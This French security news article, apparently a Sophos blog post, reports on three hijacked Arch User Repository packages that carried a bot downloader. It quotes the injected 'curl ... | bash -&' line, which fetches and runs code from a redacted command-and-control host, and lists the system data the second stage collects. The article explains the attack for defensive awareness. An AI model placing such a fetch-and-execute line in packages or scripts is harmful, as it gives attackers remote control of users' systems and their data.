arch linux
Produits et Services PRODUITS & SERVICES

Arch Linux : une nouvelle communauté Linux face à un problème de malware

Arch Linux a été infecté par un malware. Trois packs logiciels téléchargeables dans l'Arch User Respository, ont été reconstruits, afin d'intégrer un zombie downloader robot overlord malware.

Une nouvelle journée, et une nouvelle communauté Linux avec des problèmes de malwares.

La dernière fois, c’était Gentoo, une distribution Linux basée dite source, populaire auprès des techniciens qui aiment passer des heures à peaufiner l’ensemble de leur système d’exploitation et reconstruire tous leurs logiciels à partir de zéro pour en tirer quelques points de performance supplémentaires.

Ce type d’approche n’est pas pour tout le monde, mais c’est un plaisir inoffensif et cela vous donne une très bonne vue globale dans la manière dont tout s’assemble à merveille.

Il se distingue des distributions telles que ElementaryOS et Mint, qui rivalisent et dépassent même Windows et macOS concernant la faciliter l’installation et d’utilisation, mais ne vous donnera pas beaucoup d’informations sur la manière dont tout cela fonctionne réellement.

Cette fois-ci, l’infection par un malware a touché Arch Linux, une autre distribution que nous qualifierions de hard-core, bien que beaucoup plus utilisée que Gentoo.

Trois packs logiciels téléchargeables dans l’AUR, abréviation pour Arch User Respository, ont été trouvés reconstruits, afin de contenir ce que l’on pourrait (peut-être de manière légèrement malveillante) qualifier de zombie downloader robot overlord malware.

Les bots ou les zombies sont des malwares qui effectuent des call-homes pour récupérer des instructions, auprès des cybercriminels, sur la marche à suivre.

Les paquets piratés étaient : acroread 9.5.5-8, balz 1.20-3 et minergate 8.1-2, ils ont apparemment tous été restaurés dans leur état pré-infection.

Que s’est-il passé ?

En un mot, les paquets contenaient une ligne additionnelle. En effet, sous Linux, la fonctionnalité de base d’un bot peut être condensée en une seule ligne :

   curl -s https://[redacted]/~x|bash -&

Cette seule ligne de code, partie d’un script d’installation écrit en langage Bash, récupère un fichier texte à partir d’un serveur command-and-control (C&C) et l’exécute comme un script à part entière.

La commande curl est un programme qui récupère une page web en utilisant une connexion HTTP ou HTTPS. Le caractère pipe (|) est un raccourci Unix pour “utiliser la sortie de la commande sur la gauche directement en tant qu’entrée de la commande sur la droite”. Ensuite le langage bash -, dit de lire et d’utiliser les données qui viennent en entrée, indiquées par le tiret (-) directement comme un programme de script. Le caractère pipe signifie donc que vous n’avez pas besoin d’exécuter une commande pour récupérer un fichier et ensuite de demander à la commande suivante de lire le même fichier. Les données sont, au sens propre comme au sens figuré, acheminées entre les deux programmes via la mémoire. Enfin, l’esperluette (&) signifie que tout se déroule en arrière-plan pour que tout soit aussi invisible que possible.

Cela signifie que le cybercriminel peut modifier le comportement du malware à tout moment en modifiant les commandes stockées dans le fichier ~x sur le serveur C&C.

Actuellement, la commande ~x paramètre une tâche d’arrière-plan classique, l’équivalent Linux d’un service Windows, qui exécute à plusieurs reprises un deuxième script appelé u.sh qui est téléchargé à partir de la page web ~u sur le même serveur C&C.

Le fichier u.sh tente d’extraire des données basiques sur le système infecté et de les uploader sur un compte Pastebin.

Les données système qui intéressent le malware u.sh proviennent des commandes Arch Linux suivantes :

 echo ${MACHINE_ID}    -- l’ID unique de cet ordinateur (générée aléatoirement au moment de l'installation)
 date '+%s'            -- la date et l'heure actuelles
 uname -a              -- les détails sur la version Linux chargée
 id                    -- les détails sur le compte utilisateur exécutant le script
 lscpu                 -- les détails techniques sur la puce du processeurcsystème
 pacman -Qeq           -- le logiciel que vous avez installé (Qe signifie «query explicit»)
 pacman -Qdq           -- tout logiciel supplémentaire nécessaire pour l'accompagner (Qd signifie «query dependencies»)
 systemctl list-units  -- tous les services du système

Heureusement, la partie du script qui effectue l’exfiltration des données contient une erreur de programmation, de sorte que l’uploading ne se produit jamais.

La réaction de Arch Linux

Arch Linux est très respecté pour l’énorme quantité de documentation publiée et émanant de la communautaire ces dernières années. Les utilisateurs de nombreuses autres distributions se retrouvent souvent à se référer aux pages de documentation de Arch Linux pour découvrir les informations dont ils ont besoin.

Le moment à partir duquel Arch Linux a été, et comment pouvons-nous dire cela ?, un peu moins sympathique, correspond au moment où la culture de la distribution a reflété la “technicité alpha” agressive du roi de Linux, Linus Torvalds lui-même, un homme qui est connu pour de nombreuses explosions intolérantes, insultantes et souvent sans but, visant ceux qui, selon lui, lui faisaient de l’ombre.

Nous n’avons donc pas été surpris de voir cette réponse en ligne de l’un des luminati de la communauté Arch Linux, rejetant le malware avec un “bof” nerveux :

Ce serait un avertissement pour quoi exactement ? Que les paquets orphelins puissent être adoptés par n’importe qui ? Que nous avons une alerte majeure et audacieuse sur la première page de l’AUR indiquant clairement que vous devriez utiliser le contenu, quel qu’il soit, à vos risques et périls ?

Cette discussion attire beaucoup plus d’attention que nécessaire. Je suis surpris que ce type de prise de contrôle stupide de paquets et l’introduction de malwares ne se produisent pas plus souvent.

Pour être juste envers l’équipe Arch Linux, les paquets piratés ont été trouvés sur AUR, qui est l’Arch User Repository, qui n’est pas garanti ou approuvé par les mainteneurs de la distro Arch Linux, de la même manière qu’aucun des forums Android trouvés hors marché ne sont approuvés par Google.

Néanmoins, le site AUR est identifié et considéré comme un “Arch User Repository“, pas seulement un “User Repository”, donc une meilleure attitude de la part de l’équipe Arch Linux n’aurait pas fait de mal.

Quoi faire ?

Vous n’aimez peut être pas l’attitude d’Arch, et si c’est le cas, vous utilisez probablement une autre distribution de toute façon, mais l’avertissement sur l’Arch User Repository géré par la communauté résume tout en fait, même si nous ajouterions volontiers un trait d’union entre “utilisateur” et “créés” :

AVERTISEMENT : Les paquets AUR sont des contenus créés par l’utilisateur. Toute utilisation de fichiers fournis est à vos risques et périls.

Si vous ne lui faites pas confiance, ne l’installez pas !

Remarque : Nous ne nous attendons pas à ce que cela pose un réel problème au quotidien, mais les produits Sophos vont néanmoins détecter les scripts mentionnés ci-dessus sous le nom Linux/BckDr-RVR, et bloquer les URL C&C utilisées pour “alimenter” l’attaque (si vous voulez essayer Sophos Anti-Virus pour Linux, c’est 100% gratuit aussi bien pour une utilisation personnelle que professionnelle).


Billet inspiré de Another Linux community with malware woes, sur Sophos nakedsecurity.